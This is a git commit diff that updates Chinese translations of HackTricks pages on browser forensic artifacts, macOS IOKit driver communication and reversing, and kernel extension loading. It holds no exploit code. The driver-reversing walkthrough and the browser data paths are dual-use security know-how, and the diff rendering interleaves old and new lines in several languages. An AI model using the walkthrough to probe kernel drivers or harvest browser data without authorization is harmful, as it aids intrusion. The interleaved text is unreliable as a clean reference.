Translated ['generic-methodologies-and-resources/basic-forensic-methodol

This commit is contained in:
Translator 2024-07-19 10:11:43 +00:00
parent 5c84f14c71
commit 5e49464e79
150 changed files with 6071 additions and 5275 deletions

View file

@ -25,7 +25,7 @@
## 浏览器伪影 <a href="#id-3def" id="id-3def"></a> ## 浏览器伪影 <a href="#id-3def" id="id-3def"></a>
浏览器伪影包括由网浏览器存储的各种类型的数据,例如导航历史、书签和缓存数据。这些伪影保存在操作系统中的特定文件夹中,不同浏览器的位置和名称各异,但通常存储相似的数据类型。 浏览器伪影包括由网浏览器存储的各种类型的数据,例如导航历史、书签和缓存数据。这些伪影保存在操作系统中的特定文件夹中,不同浏览器的位置和名称各异,但通常存储相似的数据类型。
以下是最常见的浏览器伪影的总结: 以下是最常见的浏览器伪影的总结:
@ -46,9 +46,9 @@
Firefox 在用户数据中组织配置文件,存储在基于操作系统的特定位置: Firefox 在用户数据中组织配置文件,存储在基于操作系统的特定位置:
* **Linux**: `~/.mozilla/firefox/` * **Linux**`~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**`/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
这些目录中的 `profiles.ini` 文件列出了用户配置文件。每个配置文件的数据存储在 `profiles.ini``Path` 变量命名的文件夹中,位于与 `profiles.ini` 本身相同的目录中。如果配置文件的文件夹缺失,可能已被删除。 这些目录中的 `profiles.ini` 文件列出了用户配置文件。每个配置文件的数据存储在 `profiles.ini``Path` 变量命名的文件夹中,位于与 `profiles.ini` 本身相同的目录中。如果配置文件的文件夹缺失,可能已被删除。
@ -148,7 +148,7 @@ Internet Explorer 的元数据存储在 `%userprofile%\Appdata\Local\Microsoft\W
## Microsoft Edge ## Microsoft Edge
Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages` 中。各种数据类型的路径如下 Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages` 中。各种数据类型的路径
* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@ -160,14 +160,14 @@ Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages`
Safari 数据存储在 `/Users/$User/Library/Safari`。关键文件包括: Safari 数据存储在 `/Users/$User/Library/Safari`。关键文件包括:
* **History.db**: 包含 `history_visits``history_items` 表,存储 URL 和访问时间戳。使用 `sqlite3` 查询。 * **History.db**: 包含 `history_visits``history_items` 表,包含 URL 和访问时间戳。使用 `sqlite3` 查询。
* **Downloads.plist**: 有关下载文件的信息。 * **Downloads.plist**: 有关下载文件的信息。
* **Bookmarks.plist**: 存储书签 URL。 * **Bookmarks.plist**: 存储书签 URL。
* **TopSites.plist**: 最常访问的网站。 * **TopSites.plist**: 最常访问的网站。
* **Extensions.plist**: Safari 浏览器扩展的列表。使用 `plutil``pluginkit` 获取 * **Extensions.plist**: Safari 浏览器扩展的列表。使用 `plutil``pluginkit` 检索
* **UserNotificationPermissions.plist**: 允许推送通知的域。使用 `plutil` 进行解析。 * **UserNotificationPermissions.plist**: 允许推送通知的域。使用 `plutil` 进行解析。
* **LastSession.plist**: 上一会话的标签。使用 `plutil` 进行解析。 * **LastSession.plist**: 上一会话的标签。使用 `plutil` 进行解析。
* **Browsers built-in anti-phishing**: 使用 `defaults read com.apple.Safari WarnAboutFraudulentWebsites` 检查。响应为 1 表示该功能已启用 * **Browsers built-in anti-phishing**: 使用 `defaults read com.apple.Safari WarnAboutFraudulentWebsites` 检查。响应为 1 表示该功能处于活动状态
## Opera ## Opera
@ -175,7 +175,7 @@ Opera 的数据位于 `/Users/$USER/Library/Application Support/com.operasoftwar
* **Browsers built-in anti-phishing**: 通过检查 Preferences 文件中的 `fraud_protection_enabled` 是否设置为 `true` 来验证,使用 `grep` * **Browsers built-in anti-phishing**: 通过检查 Preferences 文件中的 `fraud_protection_enabled` 是否设置为 `true` 来验证,使用 `grep`
这些路径和命令对于访问和理解不同网浏览器存储的浏览数据至关重要。 这些路径和命令对于访问和理解不同网浏览器存储的浏览数据至关重要。
## References ## References
@ -192,16 +192,17 @@ Opera 的数据位于 `/Users/$USER/Library/Application Support/com.operasoftwar
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
{% hint style="success" %}
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零到英雄学习 AWS 黑客技术,</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 HackTricks 的 PDF**,请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取 [**官方 PEASS & HackTricks 周边产品**](https://peass.creator-spring.com)
* 发现 [**The PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# macOS IOKit # macOS IOKit
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
I/O Kit是XNU内核中的一个开源、面向对象的**设备驱动程序框架**,处理**动态加载的设备驱动程序**。它允许将模块化代码动态添加到内核中,支持各种硬件。 I/O Kit 是一个开源的面向对象的 **设备驱动框架**,位于 XNU 内核中,处理 **动态加载的设备驱动程序**。它允许在内核中动态添加模块化代码,支持多种硬件。
IOKit驱动程序基本上会**从内核中导出函数**。这些函数参数的**类型**是**预定义的**并且经过验证。此外类似于XPCIOKit只是另一个建立在**Mach消息**之上的层。 IOKit 驱动程序基本上会 **从内核导出函数**。这些函数参数的 **类型****预定义的** 并经过验证。此外,类似于 XPCIOKit 只是 **Mach 消息** 之上的另一层。
**IOKit XNU内核代码**由苹果在[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)中开源。此外用户空间的IOKit组件也是开源的[https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。 **IOKit XNU 内核代码** 由 Apple 在 [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) 开源。此外,用户空间的 IOKit 组件也开源 [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。
然而,**没有IOKit驱动程序**是开源的。无论如何,偶尔会发布带有符号的驱动程序版本,这样更容易调试。查看如何[**从固件中获取驱动程序扩展**](./#ipsw)**。** 然而,**没有 IOKit 驱动程序** 是开源的。无论如何,偶尔会发布带有符号的驱动程序,这使得调试更容易。查看如何 [**从固件获取驱动程序扩展**](./#ipsw)**。**
它是用**C++**编写的。您可以使用以下命令获取解开的C++符号: 它是用 **C++** 编写的。您可以使用以下命令获取去除修饰的 C++ 符号:
```bash ```bash
# Get demangled symbols # Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver nm -C com.apple.driver.AppleJPEGDriver
@ -33,21 +36,21 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
``` ```
{% hint style="danger" %} {% hint style="danger" %}
IOKit **暴露的函数** 在客户端尝试调用函数时可以执行**额外的安全检查**,但请注意应用程序通常受到**沙箱**的限制只能与IOKit函数进行交互。 IOKit **暴露的函数** 在客户端尝试调用函数时可以执行 **额外的安全检查**,但请注意应用程序通常受到 **沙箱** **限制**,只能与特定的 IOKit 函数进行交互。
{% endhint %} {% endhint %}
## 驱动程序 ## 驱动程序
在 macOS 中,它们位于: 在 macOS 中,它们位于:
- **`/System/Library/Extensions`** * **`/System/Library/Extensions`**
- 内置于 OS X 操作系统中的 KEXT 文件。 * 内置于 OS X 操作系统的 KEXT 文件。
- **`/Library/Extensions`** * **`/Library/Extensions`**
- 第三方软件安装的 KEXT 文件 * 由第三方软件安装的 KEXT 文件
在 iOS 中,它们位于: 在 iOS 中,它们位于:
- **`/System/Library/Extensions`** * **`/System/Library/Extensions`**
```bash ```bash
#Use kextstat to print the loaded drivers #Use kextstat to print the loaded drivers
kextstat kextstat
@ -65,9 +68,9 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
``` ```
直到数字9列出的驱动程序被**加载到地址0**。这意味着这些不是真正的驱动程序,而是**内核的一部分,无法卸载**。 直到第9个列出的驱动程序是**加载在地址0**。这意味着这些不是实际的驱动程序,而是**内核的一部分,无法卸载**。
要查找特定的扩展,您可以使用: 为了找到特定的扩展,您可以使用:
```bash ```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id
@ -79,34 +82,34 @@ kextunload com.apple.iokit.IOReportFamily
``` ```
## IORegistry ## IORegistry
**IORegistry** 是 macOS 和 iOS 中 IOKit 框架的关键部分,作表示系统硬件配置和状态的数据库。它是一个**分层对象集合,表示系统上加载的所有硬件和驱动程序,以及它们之间的关系** **IORegistry** 是 macOS 和 iOS 中 IOKit 框架的一个关键部分,作表示系统硬件配置和状态的数据库。它是一个 **层次化的对象集合,代表系统上加载的所有硬件和驱动程序** 及其相互关系
您可以使用命令行工具 **`ioreg`** 来获取 IORegistry 并从控制台检查它(对于 iOS 特别有用)。 您可以使用 cli **`ioreg`** 从控制台检查 IORegistry iOS 特别有用)。
```bash ```bash
ioreg -l #List all ioreg -l #List all
ioreg -w 0 #Not cut lines ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane ioreg -p <plane> #Check other plane
``` ```
您可以从[Xcode附加工具](https://developer.apple.com/download/all/)下载**`IORegistryExplorer`**,并通过**图形**界面检查**macOS IORegistry** 您可以从 **Xcode 附加工具** 下载 **`IORegistryExplorer`**,网址为 [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/),并通过 **图形** 界面检查 **macOS IORegistry**
<figure><img src="../../../.gitbook/assets/image (1167).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
在IORegistryExplorer中“平面”用于组织和显示IORegistry中不同对象之间的关系。每个平面代表一种特定类型的关系或系统硬件和驱动程序配置的特定视图。以下是您可能在IORegistryExplorer中遇到的一些常见平面 IORegistryExplorer 中,“平面”用于组织和显示 IORegistry 中不同对象之间的关系。每个平面代表特定类型的关系或系统硬件和驱动程序配置的特定视图。以下是您可能在 IORegistryExplorer 中遇到的一些常见平面:
1. **IOService平面**:这是最常见的平面,显示代表驱动程序和nubs驱动程序之间的通信通道的服务对象。它显示这些对象之间的提供者-客户端关系。 1. **IOService 平面**:这是最通用的平面,显示代表驱动程序和 nubs驱动程序之间的通信通道的服务对象。它显示这些对象之间的提供者-客户端关系。
2. **IODeviceTree平面**此平面表示设备之间的物理连接因为它们连接到系统。通常用于可视化通过总线如USB或PCI连接的设备的层次结构。 2. **IODeviceTree 平面**:该平面表示设备与系统之间的物理连接。它通常用于可视化通过 USB 或 PCI 等总线连接的设备层次结构。
3. **IOPower平面**:根据电源管理显示对象及其关系。它可以显示哪些对象影响其他对象的电源状态,有助于调试与电源相关的问题。 3. **IOPower 平面**:以电源管理的方式显示对象及其关系。它可以显示哪些对象影响其他对象的电源状态,便于调试与电源相关的问题。
4. **IOUSB平面**:专门关注USB设备及其关系显示USB集线器和连接设备的层次结构。 4. **IOUSB 平面**:专注USB 设备及其关系,显示 USB 集线器和连接设备的层次结构。
5. **IOAudio平面**:此平面用于表示系统中音频设备及其关系。 5. **IOAudio 平面**:该平面用于表示音频设备及其在系统中的关系。
6. ... 6. ...
## 驱动程序通信代码示例 ## 驱动程序通信代码示例
以下代码连接到IOKit服务`"YourServiceNameHere"`并在选择器0内调用函数。为此: 以下代码连接到 IOKit 服务 `"YourServiceNameHere"` 并调用选择器 0 内的函数。为此:
* 首先调用**`IOServiceMatching`**和**`IOServiceGetMatchingServices`**以获取服务。 * 首先调用 **`IOServiceMatching`** 和 **`IOServiceGetMatchingServices`** 来获取服务。
* 然后通过调用**`IOServiceOpen`**建立连接。 * 然后通过调用 **`IOServiceOpen`** 建立连接。
* 最后使用**`IOConnectCallScalarMethod`**调用函数指示选择器0选择器是您要调用的函数分配的编号)。 * 最后调用 **`IOConnectCallScalarMethod`** 函数,指示选择器 0选择器是您要调用的函数分配的数字)。
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h> #import <IOKit/IOKitLib.h>
@ -161,19 +164,19 @@ IOObjectRelease(iter);
return 0; return 0;
} }
``` ```
有**其他**函数可用于调用IOKit函数除了**`IOConnectCallScalarMethod`**,还有**`IOConnectCallMethod`****`IOConnectCallStructMethod`**... There are **其他** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## 反向驱动程序入口点 ## 反向工程驱动入口点
例如,您可以从[**固件映像ipsw**](./#ipsw)中获取这些内容。然后,将其加载到您喜欢的反编译器中。 You could obtain these for example from a [**固件镜像 (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
您可以开始反编译**`externalMethod`**函数,因为这是将接收调用并调用正确函数的驱动程序函数: You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
<figure><img src="../../../.gitbook/assets/image (1168).png" alt="" width="315"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1169).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1169).png" alt=""><figcaption></figcaption></figure>
那个可怕的调用解析意味着: That awful call demagled means:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```cpp ```cpp
@ -181,7 +184,7 @@ IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArguments
``` ```
{% endcode %} {% endcode %}
请注意,在上一个定义中缺少了 **`self`** 参数,正确的定义应该是: 注意在之前的定义中缺少了 **`self`** 参数,正确的定义应该是:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```cpp ```cpp
@ -189,25 +192,25 @@ IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArg
``` ```
{% endcode %} {% endcode %}
实际上,您可以在[https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388)找到真正的定义: 实际上,您可以在 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388) 找到真实的定义:
```cpp ```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference) OSObject * target, void * reference)
``` ```
使用这些信息您可以重写Ctrl+Right -> `编辑函数签名` 并设置已知类型: 使用此信息,您可以重写 Ctrl+Right -> `Edit function signature` 并设置已知类型:
<figure><img src="../../../.gitbook/assets/image (1174).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1174).png" alt=""><figcaption></figcaption></figure>
新的反编译代码如下所示: 新的反编译代码如下所示:
<figure><img src="../../../.gitbook/assets/image (1175).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1175).png" alt=""><figcaption></figcaption></figure>
下一步,我们需要定义 **`IOExternalMethodDispatch2022`** 结构。在 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) 中可以找到其开源定义,您可以进行定义: 下一步,我们需要定义 **`IOExternalMethodDispatch2022`** 结构它是开源的,您可以在 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) 中找到,您可以定义
<figure><img src="../../../.gitbook/assets/image (1170).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1170).png" alt=""><figcaption></figcaption></figure>
现在,根据 `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` 您可以看到大量数据: 现在,跟随 `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`,您可以看到很多数据:
<figure><img src="../../../.gitbook/assets/image (1176).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
@ -219,14 +222,29 @@ OSObject * target, void * reference)
<figure><img src="../../../.gitbook/assets/image (1179).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
现在,我们知道其中有一个 **包含7个元素的数组**检查最终的反编译代码单击以创建一个包含7个元素的数组: 正如我们现在所看到的,这里有一个 **7 个元素的数组**(检查最终的反编译代码),点击以创建一个 7 个元素的数组:
<figure><img src="../../../.gitbook/assets/image (1180).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
创建数组后,您可以看所有导出的函数: 数组创建后,您可以看所有导出的函数:
<figure><img src="../../../.gitbook/assets/image (1181).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1181).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %} {% hint style="success" %}
如果您记得,要从用户空间调用一个**导出的**函数,我们不需要调用函数的名称,而是需要调用**选择器编号**。在这里,您可以看到选择器 **0** 是函数 **`initializeDecoder`**,选择器 **1****`startDecoder`**,选择器 **2****`initializeEncoder`**... 如果您记得,要从用户空间 **调用** 一个 **导出** 函数,我们不需要调用函数的名称,而是 **选择器编号**。在这里,您可以看到选择器 **0** 是函数 **`initializeDecoder`**,选择器 **1****`startDecoder`**,选择器 **2****`initializeEncoder`**...
{% endhint %}
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %} {% endhint %}

View file

@ -1,62 +1,68 @@
# macOS内核扩展 # macOS Kernel Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* 您在**网络安全公司**工作吗想要在HackTricks上宣传您的**公司**吗?或者想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* 探索我们独家的[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 获取官方的[PEASS和HackTricks**周边产品**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**或[**电报群**](https://t.me/peass),或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)发送PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
内核扩展Kexts具有**`.kext`**扩展名的**软件包**直接加载到macOS内核空间中,为主操作系统提供额外功能。 内核扩展Kexts带有 **`.kext`** 扩展名的 **包**,它们被 **直接加载到 macOS 内核空间**,为主操作系统提供额外功能。
### 要求 ### 要求
显然,加载内核扩展是**非常强大**的。这些是内核扩展必须满足的**要求** 显然,这非常强大,以至于 **加载内核扩展****复杂的**。内核扩展必须满足以下 **要求** 才能被加载
* **进入恢复模式**时,必须允许加载内核**扩展** * **进入恢复模式** 时,必须允许加载内核 **扩展**
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
* 内核扩展必须使用内核代码签名证书**签名**,这只能由**苹果**授予。苹果将详细审查公司和需要的原因。 * 内核扩展必须 **使用内核代码签名证书签名**,该证书只能由 **Apple** 授予。谁将详细审查公司及其所需的原因。
* 内核扩展还必须经过**公证**,苹果将检查是否存在恶意软件。 * 内核扩展还必须 **经过公证**Apple 将能够检查其是否含有恶意软件。
* 然后,**root**用户可以**加载内核扩展**,软件包中的文件必须**属于root** * 然后,**root** 用户是唯一可以 **加载内核扩展** 的人,包内的文件必须 **属于 root**
* 在上传过程中,软件包必须准备在**受保护的非根位置**`/Library/StagedExtensions`(需要`com.apple.rootless.storage.KernelExtensionManagement`授权)。 * 在上传过程中,包必须准备在 **受保护的非 root 位置**`/Library/StagedExtensions`(需要 `com.apple.rootless.storage.KernelExtensionManagement` 授权)。
* 最后,在尝试加载时,用户将收到[**确认请求**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html),如果接受,必须**重新启动**计算机以加载它。 * 最后,当尝试加载时,用户将 [**收到确认请求**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html),如果接受,计算机必须 **重启** 以加载它。
### 加载过程 ### 加载过程
Catalina中是这样的有趣的是**验证**过程发生在**用户空间**。但是,只有具有**`com.apple.private.security.kext-management`**授权的应用程序才能**请求内核加载扩展**`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd` Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序才能 **请求内核加载扩展**`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
1. **`kextutil`** cli **启动**加载扩展的**验证**过程 1. **`kextutil`** cli **启动** 加载扩展的 **验证** 过程
* 它将通过**Mach服务**与**`kextd`**通信。 * 它将通过发送 **Mach 服务** **`kextd`** 进行通信。
2. **`kextd`** 将检查多个内容,如**签名** 2. **`kextd`** 将检查多个内容, **签名**
